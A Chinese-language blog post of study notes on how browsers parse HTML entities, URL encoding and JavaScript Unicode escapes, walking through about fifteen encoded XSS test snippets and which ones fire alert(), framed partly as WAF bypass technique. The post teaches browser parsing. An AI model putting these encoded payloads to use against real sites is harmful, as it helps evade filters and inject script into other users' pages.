從XSS理解編碼解析原理

非常感謝有博主願意花時間詳細的介紹背後原理…

編碼解析原理

繼上一篇的從放棄到入坑,這篇也是討論XSS。不管在SQLinjection還是XSS上我都習慣用編碼(encoding)來繞過waf等防禦手段。然而,卻常無法理解為什麼這樣的編碼能夠解析成javascript並執行?這背後的原理跟瀏覽器上的HTML解析URL解析,以及Javascript解析息息相關。在一個博客讀到一篇文章後在這裡跟大家分享我的學習筆記…

XSS行不行

在開始前先給大家上個博客中的餐前菜,究竟下面15個element哪些會觸發XSS呢?以下是source code,可以各自放到本地端…

 <a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29">clickme1</a>
 <a href="javascript:%61%6c%65%72%74%28%31%29">clickme2</a>
 <a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:%61%6c%65%72%74%28%32%29">clickme3</a>
 <a href="javascript%3aalert(3)">clickme4</a>
 <div>&#60;img src=x onerror=alert(4)&#62;</div>
 <textarea>&#60;script&#62;alert(5)&#60;/script&#62;</textarea>
 <textarea><script>alert(6)</script></textarea>
 <button onclick="confirm('7&#39;);">clickme_entities</button>
 <button onclick="confirm('8\u0027);">clickme_unicode</button>
 <script>&#97;&#108;&#101;&#114;&#116&#40;&#57;&#41;&#59</script>
 <script>\u0061\u006c\u0065\u0072\u0074(10);</script>
 <script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script>
 <script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script>
 <script>\u0061\u006c\u0065\u0072\u0074('\u0031\u0032')</script>
 <script>alert('13\u0027{'})</script>      // 沒有單引號閉合
 <script>alert('14\u000a')</script>
 <a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x34;&#x28;&#x31;&#x35;&#x29;">clickme15</a>


這裡先放上解答 接下來會給大家一條條解釋觸發或不執行javascript的原因

編碼解析實例

// 1. javascript:alert(1) URL encode
<a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29">clickme1</a>
// 2. alert(1) URL encode   -> run!
<a href="javascript:%61%6c%65%72%74%28%31%29">clickme2</a>
// 3. javascript HTML entities encode  alert(2) URL encode  -> run!
<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:%61%6c%65%72%74%28%32%29">clickme3</a>
// 4. : URL encode
<a href="javascript%3aalert(3)">clickme4</a>

一開始透過HTML解析<a>標籤,然後再透過URL解析href裡面的值。1的javascript是無法執行的,儘管href中的值是透過URL編碼而得的,但是URL解析時不能連協議和冒號都一起編碼,這也是4無法執行的原因。而我在2中示範了正確的編碼方式,協議後的URL編碼能被正確解析並且執行。3之中,符合屬性值中的字符引用,在一開始的HTML解析的&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;就被解析成了javascript,接下來要進行URL解析時,href的值已經是javascript:%61%6c%65%72%74%28%32%29,接下來就跟2一樣成功URL解碼後便能執行javascript。

// 5. < > HTML entities encode
<div>&#60;img src=x onerror=alert(4)&#62;</div>

符合了數據中的字符引用,這裡的&#60,&#62在HTML解析中成功變成了<>。這裡需要了解當HTML解析碰到<時的過程,過程中會有TagOpenState,TagNameState,BeforeAttributeNameState,DataState,標籤和數據都解析完了才會釋放token並且創建Tag到DOM Tree之中。然後有趣的是,如果是由&#60透過HTML解析,並不過進入TagOpenState的過程,而是會被解釋為<的純字串常量。所以我們才會在頁面上看到<img src=x onerror=alert(4)>這樣子的純文本,因為HTML解析完並沒有創立Tag,當然也不會有javascript的牽扯。

// 6. < > HTML entities encode
<textarea>&#60;script&#62;alert(5)&#60;/script&#62;</textarea>
// 7.
<textarea><script>alert(6)</script></textarea>

<textarea>屬於RCDATA的元素。HTML中共有五元素:Void element,Raw text element,RCDATA element,Foreign element,Normal element<script>便屬於Raw的元素,而上面的textarea則屬於RCDATA的元素,也剛好接受字符引用,符合RCDATA中的字符引用。所以儘管頁面中能看到HTML字符實體都被解析出來,但是不能創建Tag。甚至在<textarea><title>的內容中都無法創建標籤,更不會有javascript執行了。

// 8. ' HTML entities encode    -> run!
<button onclick="confirm('7&#39;);">clickme_entities</button>
// 9. ' unicode encode
<button onclick="confirm('8\u0027);">clickme_unicode</button>

先由HTML解析,onclick屬性值成功解析為confirm('7');,接下來交由javascript解析,沒理由不執行呀!9之中牽扯到javascript對unicode的解析:'(\u0027)屬於控制字符,javascript對控制字符中萬國碼的解析必須維持原樣('),否則只會被視為字符常量。也因為沒有閉合成功,9的javascript無法成功執行。

// 10. alert(9); HTML entities encode
<script>&#97;&#108;&#101;&#114;&#116;&#40;&#57;&#41;&#59;</script>

javascript解析不接受字符引用,所以裡面全都是廢鐵!

// 11. alert HTML entities encode  -> run!
<script>\u0061\u006c\u0065\u0072\u0074(10);</script>
// 12. alert(11) unicode encode
<script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script>
// 13. alert 12 unicode encode
<script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script>
// 14. alert 12 unicode encode  -> run!
<script>\u0061\u006c\u0065\u0072\u0074('\u0031\u0032')</script>
// 15. ' unicode encode
<script>alert('13\u0027{'})</script>      // 沒有單引號閉合
// 16. line feed unicode encode   -> run!
<script>alert('14\u000a')</script>

11中,javascript解析unicode在標示符裡不會被解釋成字串常量,因此可以看到頁面第一個成功彈窗就是alert(10)。12之中前面就說過了,控制字符必須維持原樣()否則會被解釋成字串常量。13的話前面標識符已符合規則,問題出在控制符裡面,alert()裡是一個字串常量才對,我們必須用單引號閉合,所以14才會成功alert('12')。15中\u0027非常結實地被解釋為字串常量(請不要理會{‘},我這邊為了markdown的完整性才添加了這個),不會執行不需解釋。16之中,本來若換行被成功解析會導致javascript語法錯誤,但是因為這邊被解釋成換行字串常量,因此沒有影像,alert('14')正常執行。

// run!
<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x34;&#x28;&#x31;&#x35;&#x29;">clickme15</a>

終於到最後了,首先來個HTML解析發現href的值變成下面的樣子

javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(15)

href經歷了URL解析得到\u0061\u006c\u0065\u0072\u0074,現在變成了下面這個樣子

javascript:\u0061\u006c\u0065\u0072\u0074(15)

由於前面的javascript協議帶來的腳本解析,又來到了javascript解析unicode的議題,標準的控制字符編碼!成功執行javascript沒有問題!

總結

一直都不太敢面對編碼的問題,終於在今天才惡補了這些基礎,比想像中的有趣!我比原文章多添加了兩條例子來驗證觀念的對錯,希望通過這些範例大家都能夠了解編碼,解析的時機,以及解析的順序,而不是看到輸入端就開始隨便踹編碼能不能繞過。整體來說,今天的內容也只限縮在詞法分析,整個瀏覽器前端的過程在分析之後還有架構DOM TREE,頁面渲染,中間還有與Javascript和CSS的互動,那也是一個XSS大師必經之路,今天就不在這裡討論!

參考

  1. answer
  2. Deep dive into browser parsing and XSS payload encoding